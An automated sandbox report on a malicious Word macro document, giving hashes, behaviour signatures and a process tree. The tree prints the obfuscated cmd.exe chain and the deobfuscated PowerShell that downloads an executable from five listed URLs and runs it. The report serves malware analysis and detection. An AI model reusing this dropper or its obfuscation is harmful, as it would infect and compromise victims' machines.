Overview

overview

10

Static

static

1

17416f7997...18.doc

windows7-x64

10

17416f7997...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05-05-2024 10:28

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General

  • Target

    17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc

  • Size

    114KB

  • MD5

    17416f7997c337602bdd1a62be41b54c

  • SHA1

    f40cc56fab62e619fcecbda14e7bf6e40cdf104f

  • SHA256

    3eee95e3aa76b5a69f0af4b8f2be5ca3dc1ad9a5a3801cb52ab6c1c3af2b4bdb

  • SHA512

    27c946eabac63893bf930c99c74e7d27cbb8e6f3e60d527d66d4b5d08f00a41fedb7e28630740bfa6933bafb87d044fd46a8fe6abc0e28af91d3f9ff457541ce

  • SSDEEP

    1536:EY9GPST/p0wPIHkwZ8HZOVMDDwUmqD2CufCFr6aEqQmCVnD32+1SWvySdtxN:ZF9RAE+KZycnFImCdvaktxN

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.deepwebeye.com/bIOkIze
exe.dropper

http://www.ensleyortho.com/ES14ezQtPA
exe.dropper

http://www.finetsolutions.com/6X5wMUi
exe.dropper

http://www.gicals.com/QveilV42wN
exe.dropper

http://www.getmyprospects.com/mQOFmMA

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2264
    • \??\c:\windows\SysWOW64\cmd.exe
      c:\ciiim\fdbokzv\aictcoa\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2424
      • C:\Windows\SysWOW64\cmd.exe
        CmD /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';"
          4⤵
            PID:2480
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd') DO %Y "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2712
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c assoc.cmd
              5⤵
                PID:2728
              • C:\Windows\SysWOW64\cmd.exe
                cmd
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2724
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';
                  6⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2700
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          2⤵
            PID:1896

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
          Filesize

          20KB

          MD5

          a7815df0bb8ef52f0021cadb676aff19

          SHA1

          51e7a19448f714e9a44fb620dd39c2587bfff3f9

          SHA256

          6a2ac0b821f9508e87998267d450abda53b4daa446087693d47c19b542403fcc

          SHA512

          011bed413c8a931a1814ee256f78a804050b4cedf4f7508e1b53059fabd8050e75eb47ac6b5158a299a52b7c7a3e89dd0b3cd6006016d0187629dee9c484fd62

          Download Submit

        • memory/2264-69-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-70-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-16-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-66-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-68-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-71-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-2-0x0000000070FDD000-0x0000000070FE8000-memory.dmp

          Filesize

          44KB

          Download

        • memory/2264-0-0x000000002F541000-0x000000002F542000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2264-72-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-67-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-81-0x0000000070FDD000-0x0000000070FE8000-memory.dmp

          Filesize

          44KB

          Download

        • memory/2264-82-0x0000000006360000-0x0000000006460000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-83-0x0000000006560000-0x0000000006660000-memory.dmp

          Filesize

          1024KB

          Download

        • memory/2264-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2264-105-0x000000005FFF0000-0x0000000060000000-memory.dmp

          Filesize

          64KB

          Download

        • memory/2264-106-0x0000000070FDD000-0x0000000070FE8000-memory.dmp

          Filesize

          44KB

          Download